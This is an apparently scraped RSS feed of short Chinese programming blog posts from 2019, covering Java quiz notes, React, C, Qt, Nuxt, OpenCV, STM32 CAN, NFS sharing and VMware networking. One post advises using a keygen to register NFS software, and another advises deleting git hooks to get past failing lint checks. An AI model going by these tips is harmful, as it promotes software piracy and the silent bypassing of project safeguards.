      <description>有疑问的题已加粗,请读者谨慎考虑,若是知道确切答案,请在评论区指出,感激不尽&#xA;（文章判断选择来自于pta做题学习的总结，只对不容易记忆【或者我顺手复制】的内容进行总结和整理，如果涉及侵权或者其他不宜事宜，请通知我立刻删除）&#xA;2019年11月11日 第一次更新 1-1 java语言中不用区分字母的大写小写。 （F）&#xA;1-2 java.lang包是Java的核心类库，它包含了运行Java程序必不可少的系统类。（T）&#xA;1-3 package语句必须放到java程序的最开始。（T）&#xA;1-4 Java中所有的I/O都是通过流来实现的。（T）&#xA;1-5 Object是Java中所有类的共同父类。（T）&#xA;1-6 系统自动引入java.lang包中的所有类，因此不需要显示地使用import语句引入该包的所有类。(T)&#xA;1-7 java.lang包是Java 的核心类库，它包含了运行Java程序必不可少的系统类。(T)&#xA;1-8 在Java程序中，可以使用protected来修饰一个类. (F)&#xA;类的修饰符分为：可访问控制符和非访问控制符两种。&#xA;可访问控制符是：公共类修饰符 public&#xA;非访问控制符有：抽象类修饰符 abstract ；最终类修饰符 final&#xA;----也就是protected是不能用来修饰一个类的&#xA;java修饰符号&#xA;1-9 在Java程序中，可以使用private来修饰一个类&#xA;private 为私有的，只能在本类中访问，用于修饰属性和方法&#xA;1-10 如果一个类的声明中没有使用extends关键字，这个类被系统默认为是继承Object类。（T）&#xA;1-11 如果一个成员变量被修饰为final的，就是常量，常量必须赋给初值，而且不能再发生变化（T）&#xA;1-12 不允许使用final来修饰abstract方法。 （T）&#xA;抽象类中的抽象方法不能是final,但是非抽象方法前加final可以编译通过因为abstract和final相互排斥，前者专用于继承，后者禁止继承&#xA;抽象类中的抽象方法不能为static&#xA;非抽象方法可以为static&#xA;包裹类Integer、 String 、Float、 Double等都是final类，不能被继承！&#xA;原文链接：原文链接&#xA;1-13 对于abstract类，不能创建该类的对象。（T）&#xA;有些判断题是说“对于abstract类，不能new该类的对象。”都是错误的&#xA;相关资料&#xA;抽象类abstract&#xA;基本概念：通过在类定义前面放置关键字 abstract，可以将类声明为抽象类&#xA;抽象类是无法通过new创建的，要通过产生子类，由子类创建对象&#xA;1-14 子类如果想使用父类的构造方法，必须在子类的构造方法中使用，并且必须使用关键字super来表示，而且super必须是子类构造方法中的头一条语句。&#xA;稍微查了一下，有些题目没有最后一句《super必须是子类构造方法中的头一条语句》，不加语句是对的，加语句也是对的&#xA;1-15 如果在子类的构造方法中，没有使用关键字super调用父类的某个构造方法，那么默认有super();语句，即调用父类的不带参数的构造方法。&#xA;1.子类继承父类的方法属性，并重写父类的方法，子类修饰符不能比父类方法的修饰符的范围狭窄。&#xA;2.子类必须在构造函数中使用super()来调用父类的构造函数&#xA;说明：1.父类没有写构造函数（系统默认有一个无参构造函数），子类可以不写构造函数（可以理解为：子类的系统默认构造函数，默认调用了super();）&#xA;2.如果父类有无参构造函数，子类可以不写构造函数（同上理解）&#xA;3.如果父类有有参构造函数，则子类必须在自己的构造函数中显示的调用父类的构造函数即super(参数名)</description>
    </item>
    <item>
      <title>react中使用switch-case</title>
      <link>https://bchobby.github.io/posts/c52c21727144681934e3dc67531c6873/</link>
      <pubDate>Mon, 11 Nov 2019 15:23:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c52c21727144681934e3dc67531c6873/</guid>
      <description> 在周期中使用switch-case&#xA;switch(num){ case &#34;1&#34;:return &#39;a&#39;; case &#34;2&#34;:return &#39;b&#39;; case &#34;3&#34;:return &#39;c&#39;; default:return &#39;d&#39;; } render中使用switch-case&#xA;render: inputMethod =&amp;gt; ( &amp;lt;div&amp;gt; {( ()=&amp;gt;{ switch(inputMethod){ case &#34;1&#34;: return &#39;日期框&#39;; case &#34;2&#34;: return &#39;初始、结束日期框&#39;; case &#34;3&#34;: return &#39;文本框&#39;; default:return &#39;数据为空&#39;; } } )()} &amp;lt;/div&amp;gt; ) </description>
    </item>
    <item>
      <title>C语言可变参数函数_初探</title>
      <link>https://bchobby.github.io/posts/57066d52f30e13a8966f12f86b44c88c/</link>
      <pubDate>Sun, 10 Nov 2019 22:00:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57066d52f30e13a8966f12f86b44c88c/</guid>
      <description>一、什么是可变参数函数 C语言允许定义参数数量可变的函数，这称为可变参数函数（variadic function）。这种函数需要固定数量的强制参数，后面是数量可变的可选参数。&#xA;其中，强制参数必须至少一个，可选参数数量可变，类型可变，可选参数的数量由强制参数的值决定，或由用来定义可选参数列表的特殊值决定。&#xA;其实我们早就接触过可变参数函数了，C 语言中最常用的可变参数函数例子是 printf（）和 scanf（）。这两个函数都有一个强制参数，即格式化字符串。格式化字符串中的转换修饰符决定了可选参数的数量和类型。（是吧，printf中可以有自定义个%d，没毛病）&#xA;可变参数函数的参数列表的格式是，强制性参数在前，后面跟着一个逗号和省略号（…），这个省略号代表可选参数。比如：int fun(int, …) (我随便举的例子啊)&#xA;.&#xA;.&#xA;二、可变参数函数的实现 1、问题引入 我们先来思考这样一个问题，作为本节的引入：&#xA;如果我们要预先写一个可变参数的累加求和函数，其强制参数类型为int，用它来表示我们一共要传入多少个可变参数。于是我们大概可以有这么一个框架：&#xA;double getSum(int NumofPara, ...) { int i = 0; double sum = 0.0; for( i = 0; i &amp;lt; NumofPara; i++ ) { sum += ??&#x9;} } 发现什么问题没有？&#xA;由于已经知道要传入多少个可变参数，所以求和思路就是，for循环遍历NumofPara次，每次都把sum加上一个可变参数。&#xA;思路很清晰，没毛病。但是，问题来了。由于是可变参数，我们无法提前得知可变参量的名字，也就没法访问这些可变参数。（你参数列表里都是一串省略号了，你怎么可能提前知道变量名，所以自然而然也无法表示、无法访问这些变量了）&#xA;2、实现思路 为了解决上述问题，C语言规定：&#xA;当编写可变参数函数时，必须用 va_list 类型定义参数指针，以获取可选参数。可变参数函数要获取可选参数时，必须通过一个类型为 va_list 的对象来进行访问，它包含了参数信息。&#xA;这种类型的对象也称为参数指针（argument pointer），它包含了栈中至少一个参数的位置。可以使用这个参数指针从一个可选参数移动到下一个可选参数，由此，函数就可以获取所有的可选参数。va_list 类型被定义在头文件 stdarg.h 中。&#xA;这么说可能太过官方，太抽象了。我们来举个例子。&#xA;假设我们有一个可变参数函数getSum(int NumofPara, …)，然后现在我们代入具体值，比如getSum(3, 7, 8, 9)，通过上面的介绍我们知道，第一个3是强制参数，表明后面跟了3个可变参量，而后面的7、8、9则为具体的可变参量。&#xA;根据C语言的要求，我们需要在getSum(int NumofPara, …)函数中定义一个va_list类型的指针。</description>
    </item>
    <item>
      <title>QT——事件处理机制</title>
      <link>https://bchobby.github.io/posts/02fcd571a2c50b9ac3739956f02c1972/</link>
      <pubDate>Sun, 10 Nov 2019 17:35:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02fcd571a2c50b9ac3739956f02c1972/</guid>
      <description>它反映了包括Qt在内的GUI应用程序的消息处理模型：&#xA;(1) 用户操作界面，被操作系统内核空间中的设备驱动程序感知&#xA;(2) 设备驱动程序向操作系统的用户空间的GUI应用程序发出系统消息&#xA;(3) GUI应用程序将系统消息转换为信号，进而触发槽函数&#xA;在GUI应用程序中，一个核心且关键的操作就是将系统消息转换为信号，涉及到Qt的事件处理机制：&#xA;(1) Qt平台将系统底层发来的消息转换为Qt事件，并将其Qt事件产生后立即被分发到QWidget对象&#xA;(2) QWidget对象中的event(QEvent* )函数对事件进行处理，即根据不同的事件，调用不同的事件处理函数&#xA;(3) 在事件处理函数中发送Qt中预定义的对应事件的Qt信号，进而调用到信号关联的槽函数&#xA;以触摸屏为例 当用户点击触摸屏，首先感知到屏幕上被触摸的XY坐标是操作系统内核空间的触摸屏设备驱动程序，然后设备驱动程序会将用户操作封装成消息传递给GUI程序运行时创建的消息队列，GUI程序在运行过程中需要实时处理队列中的消息，当队列没有消息时，程序将处于停滞状态。&#xA;windows平台上GUI程序示例 在Windows上实现GUI有很多方法，每一种方法都有着自己的一套开发理念和工具，常见的有：&#xA;a. Windows API：直接调用Windows底层绘图函数。涉及到底层的基本用c语言写的，这些API也是如此。&#xA;b. MFC：使用Windows API封装成控件类&#xA;c. Windows Form：基于.net的GUI开发，完全组件化但是需要.Net运行库支持&#xA;…&#xA;其中基于Windows API开发的GUI程序，即是函数调用 + Windows消息处理的方法，这是所有GUI程序的原理。&#xA;在Qt中，事件被封装成一个个对象，所有的事件均继承自抽象类QEvent. 接下来依次谈谈Qt中有谁来产生、分发、接受和处理事件：&#xA;1、谁来产生事件： 最容易想到的是我们的输入设备，比如键盘、鼠标产生的&#xA;keyPressEvent，keyReleaseEvent，mousePressEvent，mouseReleaseEvent事件（他们被封装成QMouseEvent和QKeyEvent），这些事件来自于底层的操作系统，它们以异步的形式通知Qt事件处理系统。当然Qt自己也会产生很多事件，比如QObject::startTimer()会触发QTimerEvent. 用户的程序可还以自己定制事件&#xA;2、谁来接受和处理事件：答案是QObject。在Qt的内省机制剖析一文已经介绍QObject 类是整个Qt对象模型的心脏，事件处理机制是QObject三大职责（内存管理、内省(intropection)与事件处理制）之一。任何一个想要接受并处理事件的对象均须继承自QObject，可以选择重载QObject::event()函数或事件的处理权转给父类。&#xA;3、谁来负责分发事件：&#xA;对于non-GUI的Qt程序，是由QCoreApplication负责将QEvent分发给QObject的子类即Receiver.对于Qt GUI程序，由QApplication 的QtWndProc来负责 分发 /*!\reimp */ bool QCoreApplication::event(QEvent *e) { if (e-&amp;gt;type() == QEvent::Quit) { quit(); return true; } return QObject::event(e); } C:\Program Files (x86)\Windows Kits\10\Include\10.0.17763.0\um\WinUser.h /* * Message structure */ typedef struct tagMSG { HWND hwnd; UINT message; WPARAM wParam; LPARAM lParam; DWORD time; POINT pt; #ifdef _MAC DWORD lPrivate; #endif } MSG, *PMSG, NEAR *NPMSG, FAR *LPMSG; if (!</description>
    </item>
    <item>
      <title>Nuxt.js 页面跳转后不会滚动至顶部，以及路由守卫应用</title>
      <link>https://bchobby.github.io/posts/7bc773cacc2f5664052485888d618b87/</link>
      <pubDate>Sun, 10 Nov 2019 15:43:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bc773cacc2f5664052485888d618b87/</guid>
      <description>在做项目的过程中，遇到页面切换后不会滚动到顶部&#xA;解决方案：&#xA;在页面使用的layout中或者页面中，使用监听&#xA;watch: { &#39;$route&#39;: function(to,from){ document.body.scrollTop = 0 document.documentElement.scrollTop = 0 this.$refs.scroll.scrollTop = 0 // 因为我的的滚动层不是body，所以将滚动层的scrollTop 至为0 } }, 还有在官方文档中看到的其他解决方案，大家可以试下&#xA;在nuxt.config.js：中配置 module.exports = { router: { scrollBehavior (to, from, savedPosition) { return { x: 0, y: 0 } } } } 默认情况下，从当前页面切换至目标页面时，Nuxt.js 会让目标页面滚动至顶部。但是在嵌套子路由的场景下，Nuxt.js 会保持当前页面的滚动位置，除非在子路由的页面组件中将 scrollToTop 设置为 true。 &amp;lt;template&amp;gt; &amp;lt;h1&amp;gt;子页面组件&amp;lt;/h1&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { scrollToTop: true } &amp;lt;/script&amp;gt; 我们可以在nuxt.config.js：配置所有页面渲染后滚动至顶部： module.exports = { router: { scrollBehavior (to, from, savedPosition) { return { x: 0, y: 0 } } } } 使用路由守卫，在nuxt中配置路由守卫可以在plugins文件下新建router.</description>
    </item>
    <item>
      <title>UnicodeDecodeError: &#39;utf-8&#39; codec can&#39;t decode bytes in position 0-1: invalid continuation byte异常</title>
      <link>https://bchobby.github.io/posts/5469c62ecbd7af609da9a8a8377189a6/</link>
      <pubDate>Sun, 10 Nov 2019 10:03:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5469c62ecbd7af609da9a8a8377189a6/</guid>
      <description>pd.readcsv()频繁报这个错误&#xA;一开始我天真的以为，加个encoding的事儿（原来是没有encoding的）：&#xA;结果依旧报错&#xA;最后发现是我电脑默认第一次打开csv文件的编码问题。&#xA;解决办法如下：&#xA;右键以记事本打开csv文件-&amp;gt;另存为-&amp;gt;修改为utf-8编码-&amp;gt;overwrite原文件-&amp;gt;大功告成</description>
    </item>
    <item>
      <title>no matching distribution found for pandas</title>
      <link>https://bchobby.github.io/posts/4401d908dea14e0f69619c9f8dffa923/</link>
      <pubDate>Sat, 09 Nov 2019 16:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4401d908dea14e0f69619c9f8dffa923/</guid>
      <description>前言 Python Data Analysis Library 或 pandas 是基于NumPy 的一种工具，该工具是为了解决数据分析任务而创建的。Pandas 纳入了大量库和一些标准的数据模型，提供了高效地操作大型数据集所需的工具。&#xA;问题 本来想在setting中导pandas的包，按照百度的方法却报错：&#xA;Could not find a version that satisfies the requtrement pandas&#xA;解决方法 打开cmd,采用双保险方法（既延长时间又采用国内镜像源），输入命令：pip install pandas --default-timeout=100 -i https://pypi.tuna.tsinghua.edu.cn/simple&#xA;这样就下载成功啦，其他第三方包或库下载方法类似。</description>
    </item>
    <item>
      <title>论文翻译：Unsupervised Domain-Specific Deblurring via Disentangled Representations</title>
      <link>https://bchobby.github.io/posts/34e662bab13d3ee4f05625696cdd2fd3/</link>
      <pubDate>Sat, 09 Nov 2019 12:16:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34e662bab13d3ee4f05625696cdd2fd3/</guid>
      <description>Introduction 图像的模糊严重影响图像的本身质量，同时在进行图像的识别和图像中物体识别都会产生影响。图像去模糊旨在从相应的模糊图像中恢复潜在的清晰图像。&#xA;大多数传统方法将图像去模糊任务公式化为模糊核估计问题，在过去的十年中，已经开发了各种自然图像和先验核来规范潜在锐利图像的解空间，包括重尾梯度先验，稀疏核先验，梯度先验，归一化稀疏性和暗通道。&#xA;然而，这些先验是通过有限的观察来估计的，并且不够准确。结果，去模糊的图像通常欠去模糊（图像仍然模糊）或过度去模糊（图像包含许多伪像）。 近年来深度神经网络和 GAN 的巨大成功，已经提出了一些基于 CNN 的方法用于图像去模糊，例如 Nimisha 在 ECCV 2018 发表的 Unsupervised Class-Specific Deblurring [1] 是一种基于 GAN 的无监督图像去模糊方法，在模型上增加了重复损失和多尺度梯度损失。虽然它们在合成数据集上取得了良好的性能，但它们对一些真实模糊图像的结果并不令人满意。&#xA;另一类方法是基于现有的图像到图像的模型，例如 CycleGAN [2] 这类无监督端到端的模型，然而，这些通用方法通常编码其他因素（例如：颜色、纹理）而不是将信息模糊到发生器中，因此不会产生良好的去模糊图像。&#xA;文章对这些方法进行了一个可视化结果比对，同时也是展示了自己模型的优越性：&#xA;上图最右侧就是这篇文章的实验效果，可以看出对比已有的基于深度神经网络的去模糊模型还是展示了不错的实现效果的。这些效果的实现得益于文章提出了一种基于解缠表示的无监督域特定图像去模糊方法，通过将模糊图像中的内容和模糊特征解开，以将模糊信息准确地编码到去模糊框架中。&#xA;我们后续再详细分析，这里总结一下文章的创新和优势所在：&#xA;内容编码器和模糊编码器将模糊图像的内容和模糊特征区分开，实现了高质量的图像去模糊；对模糊编码器添加 KL 散度损失以阻止模糊特征对内容信息进行编码；为了保留原始图像的内容结构，在框架中添加了模糊图像构造和循环一致性损失，同时添加的感知损失有助于模糊图像去除不切实际的伪像。 模型详解 我们还是先通过模型框架图去理解文章设计的思路：&#xA;我们先把模型中的组间介绍清楚，由于模型的循环一致性设计，网络的左右是基本对称的，我们对左侧组间交代下。&#xA;s 代表清晰的真实图像，b 代表模糊的真实图像，是生成的模糊图像，是生成的清晰图像。是清晰图像的内容编码器（可以理解为图像颜色、纹理、像素的编码器），对应的是模糊图像的内容编码器，是模糊图像的模糊编码器（仅用来提取图像的模糊信息）是模糊图像生成器，是清晰图像生成器，经过循环的转换，ŝ 是循环生成的清晰图像，b̂ 是循环生成的模糊图像。 看了这个模型，大家是不是有一些疑问，我们的目的是实现图像的去模糊，为什么要添加模糊编码器？为什么还要主动去生成模糊的图像？怎么保证模糊图像的内容编码器真的提取到图像的内容信息？为什么模糊编码器要同时作用在和上？&#xA;这些问题正是这篇文章区别于已有模型的关键，我们按照文章思路一步步去分析。&#xA;文章的一大创新就是模糊编码器的设计，它主要的作用是用来捕获模糊图像的模糊特征，如何去保证这个模糊编码器是真的提取到模糊图像的模糊特征了呢？&#xA;作者就采用了迂回的思路，既然清晰的图像是不含模糊信息的，如果清晰的图像通过结合模糊编码器模糊特征去生成出模糊图像，是不是可以说，模糊编码器是在对清晰图像做模糊化处理，这个模糊化的前提是什么？那就是模糊编码器确实提取到了图像的模糊特征，所以说由清晰图像生成模糊图像也保证了模糊编码器是对图像的模糊信息进行编码的作用。&#xA;同时，由清晰图像到模糊图像的生成过程中，清晰图像的内容编码器我们是有理由相信它是提取到了清晰图像的内容信息（因为清晰图像并不包含模糊信息）。&#xA;文章为了保证模糊图像的内容编码器是对模糊图像的内容进行编码，文章将清晰图像内容编码器和模糊图像内容编码器强制执行最后一层共享权重，以指导学习如何从模糊图像中有效地提取内容信息。&#xA;为了进一步尽可能多地抑制模糊编码器对内容信息的编码，通过添加一个 KL 散度损失来规范模糊特征的分布，使其接近正态分布 p(z)∼N(0,1)。这个思路和 VAE 中的限制数据编码的潜在空间的分布思路是相近的，这里将模糊编码器的编码向量限制住，旨在控制模糊编码器仅对图像的模糊信息进行编码。&#xA;理清了上面的设计思路，这篇文章的实现就已经基本介绍完毕了。由模糊图像去模糊到清晰图像的过程中，将模糊图像内容编码和模糊编码送入清晰图像生成器重构得到去模糊的清晰图像，清晰图像到模糊图像是为了优化模糊编码和模糊图像的内容编码的作用。&#xA;通过循环一致性，进行进一步的还原保证模型的鲁棒性。核心的损失是图像生成在 GAN 的对抗损失，结合感知损失达到图像下一些伪影的优化。&#xA;模型损失函数 本部分是对模型实现的补充，在上一小节中，也是大致上分析了各类损失的作用，这里做一个简短的展开。&#xA;首先是对模糊编码的隐空间分布进行约束，这个约束通过 KL 散度去实现，这个过程和 VAE 的思路是一致的：&#xA;这里的 p(z)∼N(0,1)，具体的损失可进一步写为： 此时，zb 可表示为 zb=μ+z∘σ。&#xA;接下来就是 GAN 的那一套对抗损失，这里写一下清晰图像生成的判别器损失，模糊图像的是一致的：</description>
    </item>
    <item>
      <title>图像平滑</title>
      <link>https://bchobby.github.io/posts/1c51d112d911c618125ca613c29fface/</link>
      <pubDate>Sat, 09 Nov 2019 10:46:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c51d112d911c618125ca613c29fface/</guid>
      <description>图像平滑 2D卷积&#xA;与一维信号一样，我们也可以对 2D 图像实施低通滤波（LPF），高通滤波（HPF）等。LPF 帮助我们去除噪音，模糊图像。HPF 帮助我们找到图像的边缘&#xA;OpenCV 提供的函数 cv.filter2D() 可以让我们对一幅图像进行卷积操作。下面我们将对一幅图像使用平均滤波器。下面是一个 5x5 的平均滤波器核：&#xA;操作如下：将核放在图像的一个像素 A 上，求与核对应的图像上 25（5x5）个像素的和，在取平均数，用这个平均数替代像素 A 的值。重复以上操作直到将图像的每一个像素值都更新一遍&#xA;import cv2 import numpy as np from matplotlib import pyplot as plt img = cv2.imread(&#39;C:/Users/www12/Desktop/xingkong.jpg&#39;,1) kernel = np.ones((5, 5), np.float32)/25 #-1表示深度为-1时输出图像将自动匹配对应的深度 dst = cv2.filter2D(img,-1,kernel) cv2.imshow(&#39;img&#39;, img) cv2.imshow(&#39;dst&#39;,dst) cv2.waitKey(0) cv2.destroyAllWindows() 图像模糊（图像平滑）&#xA;使用低通滤波器可以达到图像模糊的目的。这对与去除噪音很有帮助。其实就是去除图像中的高频成分（比如：噪音，边界）。所以边界也会被模糊一点。（当然，也有一些模糊技术不会模糊掉边界）。OpenCV 提供了四种模糊技术。&#xA;1. 平均&#xA;这是由一个归一化卷积框完成的。他只是用卷积框覆盖区域所有像素的平均值来代替中心元素。可以使用函数 cv2.blur() 和 cv2.boxFilter() 来完这个任务。可以同看查看文档了解更多卷积框的细节。我们需要设定卷积框的宽和高。下面是一个 3x3 的归一化卷积框：&#xA;（注意：如果你不想使用归一化卷积框，你应该使用 cv2.boxFilter()，这时要传入参数 normalize=False。）&#xA;import cv2 import numpy as np img = cv2.</description>
    </item>
    <item>
      <title>STM32CubeMX_CAN_CAN3_FDCAN</title>
      <link>https://bchobby.github.io/posts/b2a96aeb1ff62671ed0ccab5e9d10c99/</link>
      <pubDate>Fri, 08 Nov 2019 23:20:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2a96aeb1ff62671ed0ccab5e9d10c99/</guid>
      <description>文章目录 前言STM32CubeMX新建工程CAN配置生成代码CAN发送CAN接收CAN3CANFD板子CANFD配置CANFD发送CANFD接收工程代码微信公众号 前言 STM32CubeMX_环境搭建_GPIO_外部中断&#xA;STM32CubeMX_定时器中断_PWM&#xA;STM32CubeMX_UART_printf_接收中断_DMA空闲中断_LPUART&#xA;STM32CubeMX_以太网_RMII_LwIP_UDP&#xA;前四节简单的总结了GPIO, EXTI, TIMER, UART, 以太网的相关用法, 本节总结一下STM32的CAN, FDCAN, CAN3的用法. STM32的CAN很多系列都有: F0/1/2/3/4/7, L4/L4+等都能找到CAN的身影, 分别有1路到3路不等. 而FDCAN在STM32G系列/H系列/L5系列中比较常见. 本节我们先从CAN开始, 原理性的东西自己查去, 主要看操作.&#xA;用的是下面这个自制的STM32F405RGT6的板子:&#xA;CAN的引脚为:&#xA;CANSTM32CAN1_TXPB9CAN1_RXPB8CAN2_TXPB13CAN2_RXPB12 然后通过CAN电平转换芯片TJA1051连接到CAN分析仪上去:&#xA;MCU本身外接的12MHz的晶振, 硬件连接介绍完毕, 下面开始操作.&#xA;STM32CubeMX新建工程 步骤如下:&#xA;MCU选择: 打开 STM32CubeMX, 点击 ACCESS TO MCU SELECTOR, 选择 STM32F405RGTx调试端口配置为SWD: Pinout &amp;amp; Configuration -&amp;gt; System Core -&amp;gt; SYS -&amp;gt; Debug 选择 Serial WirePinout &amp;amp; Configuration -&amp;gt; System Core -&amp;gt; RCC -&amp;gt; HSE 选择 Crystal/Ceramic ResonatorClock Configuration:&#xA;注意CAN时钟属于APB1 peripheral clocks(MHz), 所以是42MHz.</description>
    </item>
    <item>
      <title>群晖挂载windows系统共享的nfs文件夹--使用第三方工具hanewin</title>
      <link>https://bchobby.github.io/posts/5f099ee0366cc610971fec2a1b8bb9c0/</link>
      <pubDate>Fri, 08 Nov 2019 15:14:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f099ee0366cc610971fec2a1b8bb9c0/</guid>
      <description>前因：DSM的手机APP很好用，可以用来在局域网内和外网直接播放存储在DSM硬盘上的视频和音乐。&#xA;困难：DSM中的硬盘是需要物理独占的，而且是独占整块盘，并且会把硬盘的格式转换为EXT4。那样这个硬盘取下直接在Windows中是无法读取的。而且平时只能在DSM中对盘上的文件做删减和拷贝处理，不是很方便。&#xA;解决方法：通过NFS方法把磁盘的某个目录挂载给DSM，DSM不会独占硬盘，硬盘格式还可以继续为NTFS，文档的移动和删减操作直接在Windows上操作。&#xA;那为何要用第三方NFS工具？因为Windows Server 2012 R2自带的NFS组件的UTF-8编码支持不好。&#xA;第一步，服务器端设置&#xA;安装文件和注册机&#xA;安装完后要以管理员身份运行*，不然无法修改配置&#xA;打开注册机，获得注册码。&#xA;在注册页面，填入注册码。注意用户名和注册码的位置。&#xA;修改exports file，一定要按照示例格式修改。&#xA;语句的大致意思是，把server 2012上D:\DSM\homes的文件夹，链接给IP地址为192.168.1.12的机器（本人的DSM），链接名称为homes&#xA;D:\DSM\homes -name:homes 192.168.1.12 D:\DSM\music -name:music 192.168.1.12 D:\DSM\photo -name:photo 192.168.1.12 D:\DSM\video -name:video 192.168.1.12 D:\DSM\download -name:download 192.168.1.12 E:\pt -name:pt 192.168.1.12 注意，这个页面在DSM的设置之前，或许不会显示内容。再全部设置完毕后，再来查看这页。&#xA;**&#xA;防火墙添加TCP&amp;amp;UDP端口的入站规则：111，1058，2049 **&#xA;TCP&#xA;UDP&#xA;第二步，客户端设置 文件夹路径为:主机ip+hanewin挂载的文件夹名 我这里是192.168.10.220:/pcd&#xA;hanewin工具下载</description>
    </item>
    <item>
      <title>Vmware中的Linux虚拟机如何共享主机的网络</title>
      <link>https://bchobby.github.io/posts/21d4906880dda41d6a6a3d50d05b27f2/</link>
      <pubDate>Fri, 08 Nov 2019 11:35:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21d4906880dda41d6a6a3d50d05b27f2/</guid>
      <description> 1、点击工具栏的“虚拟机”，在下拉列表选择“设置”&#xA;2、网络连接那一栏中选择“NAT模式”&#xA;3、进入Linux系统后，登陆超级用户&#xA;# su root&#xA;4、切换到存有配置文件的目录&#xA;# cd /etc/sysconfig/network-s&#xA;5、找到下图ifcfg-eth0文件,一般是在列表的第一个&#xA;# ll&#xA;6、vi进入该文件编辑&#xA;# vi ifcfg-eth0&#xA;7、按下图编辑修改&#xA;7、eth0是Linux默认的网卡，将它激活&#xA;# ifup eth0&#xA;8、重启网络服务&#xA;# service network restart&#xA;9、到这就可以打开游览器上网啦~ </description>
    </item>
    <item>
      <title>论文阅读笔记：End-to-End Single Image Fog Removal using Enhanced Cycle Consistent Adversarial Networks</title>
      <link>https://bchobby.github.io/posts/08a2f15f4b4420691650db05c365dd92/</link>
      <pubDate>Thu, 07 Nov 2019 22:14:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08a2f15f4b4420691650db05c365dd92/</guid>
      <description>论文地址：https://arxiv.org/pdf/1902.01374.pdf&#xA;Table of Contents&#xA;主要贡献：&#xA;缺陷：&#xA;0.论文提出的数据集（MRFID）（尚未开源）&#xA;1. 论文的主要思路是：&#xA;1.1 实现去雾过程：有雾图像 》》》清晰图像&#xA;1.2. 逆向生成雾图： 清晰图像 》》》 有雾图像&#xA;1.3 训练数据的合成（使用CNN）&#xA;2. 实验结果&#xA;4. 客观评价指标：&#xA;在真实的数据上测评&#xA;主要贡献： 该系统使用不成对的雾和无雾训练图像，对抗性鉴别器和循环一致性损失来自动构建除雾系统；通过嵌入大气散射模型的原理和天空先验知识，训练CNN网络进行训练数据的合成；提供一个数据集（MRFID）包含200个自然户外场景的图像；所使用的评价标准是new visible edges e，contrast restoration r， 缺陷： CycleDefog2Refog无法处理大雾；原因是当前大气降解模型在这种情况下不能再准确地描述雾图，在未来的工作中，希望通过专门优化此模型并构建多种多雾的数据集来训练我们的网络来解决这个问题；处理的图像有些过于平滑，损失了图像细节；近景偏暗，远景雾气没有去除的很好。 0.论文提出的数据集（MRFID）（尚未开源） 包含200个自然户外场景&#xA;图像是从固定摄像机在一年的过程中拍摄的一系列图像中手动选择的不同雾密度&#xA;一个场景 》》》一个清晰图像 》》》四个相应的四个雾密度图像&#xA;包括200个清晰的户外图像和800个具有不同雾密度的模糊图像&#xA;1. 论文的主要思路是： 1.1 实现去雾过程：有雾图像 》》》清晰图像 采用的方法是两步实现去雾过程，即第一步去除较少的雾，第二步进行加强。&#xA;1.2. 逆向生成雾图： 清晰图像 》》》 有雾图像 同样采用两步进行雾气的生成。&#xA;1.3 训练数据的合成（使用CNN） 在传统的CycleGAN中，我们可以使用CNN直接生成模糊图像以禁止defog映射功能。 然而，在实践中，由于各种模糊图像内容的多样性和复杂性，仅通过使用卷积神经网络来拟合模糊图像的分布是非常困难的。 相反，我们引入了基于CNN的大气降解模型来合成模糊图像。 具体地，我们使用CNN来估计透射图T并使用sky prior 估计大气光A。&#xA;在使用清晰图像生成有雾图像的过程中，使用的方法是：&#xA;2. 实验结果 4. 客观评价指标： In this experiment,the synthetic images have come from RESIDE dataset [17].</description>
    </item>
    <item>
      <title>移动端根据DPR设置展示的图片是2X还是3X</title>
      <link>https://bchobby.github.io/posts/1b7046aa45eb342bebb6f6acb47f493d/</link>
      <pubDate>Thu, 07 Nov 2019 16:58:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b7046aa45eb342bebb6f6acb47f493d/</guid>
      <description>功能描述：当DPR=2，显示2X图片；当DPR=3，显示3X图片&#xA;实现方式：&#xA;1、dom结构&#xA;&amp;lt;div class=&#34;title&#34;&amp;gt; &amp;lt;span class=&#34;brand&#34;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;name&#34;&amp;gt;{{seller.name}}&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; 2、.brand样式&#xA;@import &#34;../../common/stylus/mixin&#34;; .brand display: inline-block vertical-align: top width: 30px height: 18px bg-image(&#39;brand&#39;) background-size: 30px 18px background-repeat: no-repeat 3、 bg-image(&#39;brand&#39;)是定义在 mixin.styl中的方法，用来实现展示哪张图片，传递一个字符串参数：&#xA;bg-image($url) background-image: url($url + &#34;@2x.png&#34;) @media (-webkit-min-device-pixel-ratio: 3),(min-device-pixel-ratio: 3) background-image: url($url + &#34;@3x.png&#34;) 以上，即可实现根据DPR设置展示的图片是2X还是3X</description>
    </item>
    <item>
      <title>消除git提交代码时的pre-commit操作</title>
      <link>https://bchobby.github.io/posts/30b2467d43d46cee493347800dce7612/</link>
      <pubDate>Thu, 07 Nov 2019 10:51:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30b2467d43d46cee493347800dce7612/</guid>
      <description>今天，当我用git进行代码管理的时候，执行git commit -m&#34;样式修改&#34;会出现如下信息：&#xA;&amp;gt; running pre-commit hook: lint-staged ❯ Running tasks for *.js ✖ vue-cli-service lint → 2 errors and 2 warnings found. git add ❯ Running tasks for *.vue ✖ vue-cli-service lint → 31 errors found. git add 出现如此状态，真是让人头疼，接下来看看解决方式：&#xA;解： 进入 项目所在文件夹&amp;gt;.git&amp;gt;hooks&#xA;删除hooks目录下的内容！没错，你没有看错，是删除！&#xA;然后再重新执行git commit命令，至此大功告成</description>
    </item>
    <item>
      <title>[Setting]设置Word插入题注快捷键</title>
      <link>https://bchobby.github.io/posts/1c26fe2f80a4b8c349373408c445f862/</link>
